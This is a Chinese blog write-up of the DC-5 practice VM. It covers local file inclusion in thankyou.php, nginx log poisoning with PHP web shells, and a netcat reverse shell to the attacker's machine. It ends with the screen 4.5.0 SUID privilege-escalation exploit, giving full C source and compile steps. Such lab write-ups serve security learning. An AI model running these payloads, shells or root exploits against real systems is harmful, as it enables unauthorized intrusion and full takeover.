zoukankan      html  css  js  c++  java
  • DC-5靶机学习

    1.kali探测存活主机

    root@kali:~# nmap -T4 -A 192.168.43.1/24
    


    目标IP地址为192.168.43.182,访问之


    拿着nikto,dirsearch一顿乱扫,啥也没发现

    2.日常没思路,气氛逐渐焦灼

    burpsuite爬了一下站点,分析了一下

    发现就一个动态带参数的,emmmm
    继续拿起burpsuite就是一顿乱扫

    nginx的洞都奇奇怪怪的,看了下,一个是拒绝服务,一个是http走私.....

    3.突破点

    还是没啥思路,重新发包的时候,似乎瞄到burpsuite中底部日期变了一下,233
    compare看一下

    确实重发一次,变一次...迷惑
    搜了一波,发现是文件包含.....
    我就纳闷了,这尼玛还能猜出来
    https://blog.csdn.net/weixin_45116657/article/details/102677446

    GET /thankyou.php?file=/etc/passwd HTTP/1.1
    Host: 192.168.43.182
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    4.nginx日志文件包含

    既然存在文件包含漏洞
    试着读了下日志文件,nginx默认日志文件为/var/log/nginx/access.log

    应该是存在的,随便输个phpinfo,会记录到日志中,一旦有文件包含漏洞,且包含文件为日志【当然你最好祈祷日志是默认路径】时,就会把日志当作php解析

    GET /<?php phpinfo();?> HTTP/1.1
    Host: 192.168.43.182
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    404,然后包含一下看看
    包含成功,burpsuite会显示消息太长,到浏览器打开

    写一段恶意代码进去

    <?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>
    

    emmmm,有点离谱的是。。。显示phpinfo之后,再包含一句话,就不显示了,为啥?
    渗透失败

    5.恢复快照N次后

    wdnmd....终于连接上来了

    <?php eval($_POST[cmd]);?>
    


    报错产生日志,然后包含日志

    蚁剑终端好像没法回显,于是反弹一下shell
    服务端

     nc 192.168.43.164 8008 -c /bin/bash
    

    客户端

    nc -lvvp 8008
    

    6.提权

    find / -perm -u=s -type f 2>/dev/null
    


    这里看到一个/bin/screen-4.5.0
    搜了下是2017年爆出的一个提权漏洞
    http://www.expku.com/local/6245.html
    kali里面也搜了下

    root@kali:~# searchsploit screen 4.5.0
    
    


    看内容,应该要编译才能用

    1.libhax.c

    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!
    ");
    }
    

    保存为libhax.c
    然后编译

    root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c 
    

    2.rootshell.c

    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    

    保存为rootshell.c

    root@kali:~# gcc -o rootshell rootshell.c 
    

    然后删除41154.sh中间那几段C代码

    打包上传到目标机器
    然而........WDNMD
    禁止通过wget下载....这就离谱

    7.ftp上传提权脚本

    这句话是得到一个标准的shell

    python -c "import pty;pty.spawn('/bin/bash')"
    


    攻击机器配置vsftp

    apt install vsftpd
    

    其他配置看图

    客户端登陆攻击机(vsftp服务端),下载提权脚本....这里略过,emmmmmmmm
    这里有个问题是会报错

    问题出在那个家目录的位置,因为我是直接root目录下创建所以没找到,导致报错

    然后通过get命令下载到服务器就好了....

    这里我发现一个问题,当进入标准shell的时候是可以使用wget命令的
    所以kali起一个http服务

    root@kali:~# python -m SimpleHTTPServer 8000
    


    直接wget下载到服务器上

    如下图

    执行的时候报错了...

    发现最后一行少写了个/,还有前面编译那个libhax.c文件,这里也写错了,emmmm. 后缀要改成.so才对
    添上去,重新执行代码

    提权成功!!!

    8.Getflag

    或许这是我比较菜的原因吧,害。。。

    9.小结

    1.前面日志包含shell,不知道什么奇怪的问题,第一次写入shell后,第二次就无法写了,导致一直重置服务器。。。。

    2.反弹shell的时候,不知道切换成标准shell,导致走了一个大圈。。。。

    3.编译提权代码的时候,没仔细阅读代码,也不够仔细,导致后面出了一系列问题,害...

  • 相关阅读:
    hdu 5366 简单递推
    hdu 5365 判断正方形
    hdu 3635 并查集
    hdu 4497 数论
    hdu5419 Victor and Toys
    hdu5426 Rikka with Game
    poj2074 Line of Sight
    hdu5425 Rikka with Tree II
    hdu5424 Rikka with Graph II
    poj1009 Edge Detection
  • 原文地址:https://www.cnblogs.com/mke2fs/p/13054853.html
Copyright © 2011-2022 走看看